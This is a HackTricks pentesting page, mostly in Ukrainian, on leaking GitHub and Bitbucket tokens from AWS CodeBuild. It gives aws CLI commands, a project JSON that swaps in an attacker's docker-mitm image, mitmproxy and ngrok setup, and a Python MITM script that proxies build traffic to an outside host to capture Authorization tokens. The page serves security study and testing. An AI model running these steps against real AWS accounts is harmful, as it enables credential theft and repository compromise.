AWS Codebuild - Token Leakage

Support HackTricks

Відновлення токенів, налаштованих у Github/Bitbucket

Спочатку перевірте, чи є налаштовані облікові дані джерела, які ви могли б витікати:

aws codebuild list-source-credentials

Via Docker Image

Якщо ви виявите, що автентифікація, наприклад, до Github налаштована в обліковому записі, ви можете екстрактувати цей доступ (GH token або OAuth token), змусивши Codebuild використовувати конкретний docker image для виконання збірки проекту.

Для цього ви можете створити новий проект Codebuild або змінити середовище існуючого, щоб налаштувати Docker image.

Docker image, який ви можете використовувати, це https://github.com/carlospolop/docker-mitm. Це дуже базовий Docker image, який налаштує змінні середовища https_proxy, http_proxy та SSL_CERT_FILE. Це дозволить вам перехопити більшість трафіку хоста, вказаного в https_proxy та http_proxy, і довіряти SSL CERT, вказаному в SSL_CERT_FILE.

  1. Створіть та завантажте свій власний Docker MitM image

  • Слідуйте інструкціям репозиторію, щоб налаштувати IP-адресу проксі та налаштувати свій SSL сертифікат і збудуйте docker image.

  • НЕ НАЛАШТОВУЙТЕ http_proxy, щоб не перехоплювати запити до кінцевої точки метаданих.

  • Ви можете використовувати ngrok, наприклад, ngrok tcp 4444, щоб налаштувати проксі на вашому хості.

  • Після того, як ви збудували Docker image, завантажте його до публічного репозиторію (Dockerhub, ECR...)

  1. Налаштуйте середовище

  • Створіть новий проект Codebuild або змініть середовище існуючого.

  • Налаштуйте проект на використання раніше згенерованого Docker image.

  1. Налаштуйте MitM проксі на вашому хості

  • Як вказано в Github репозиторії, ви можете використовувати щось на кшталт:

mitmproxy --listen-port 4444  --allow-hosts "github.com"

Версія mitmproxy, що використовувалася, була 9.0.1, повідомлялося, що з версією 10 це може не спрацювати.

  1. Запустіть збірку та захопіть облікові дані

  • Ви можете побачити токен у заголовку Authorization:

Це також можна зробити з aws cli з чимось на кшталт

# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

Через протокол HTTP

Цю вразливість виправили AWS на деякий момент тижня 20 лютого 2023 року (я думаю, в п'ятницю). Тож зловмисник більше не може її зловживати :)

Зловмисник з підвищеними правами в CodeBuild може витікати токен Github/Bitbucket, налаштований або, якщо права були налаштовані через OAuth, тимчасовий токен OAuth, використаний для доступу до коду.

  • Зловмисник може додати змінні середовища http_proxy та https_proxy до проекту CodeBuild, вказуючи на свій комп'ютер (наприклад, http://5.tcp.eu.ngrok.io:14972).

  • Потім змініть URL репозиторію github, щоб використовувати HTTP замість HTTPS, наприклад: **http://**github.com/carlospolop-forks/TestActions

  • Потім запустіть базовий приклад з https://github.com/synchronizing/mitm на порту, вказаному змінними проксі (http_proxy та https_proxy)

from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Нарешті, натисніть на Build the project, облікові дані будуть надіслані у відкритому вигляді (base64) на порт mitm:

Тепер зловмисник зможе використовувати токен зі своєї машини, перерахувати всі привілеї, які він має, і (зловживати) легше, ніж безпосередньо використовуючи сервіс CodeBuild.

Підтримайте HackTricks

Last updated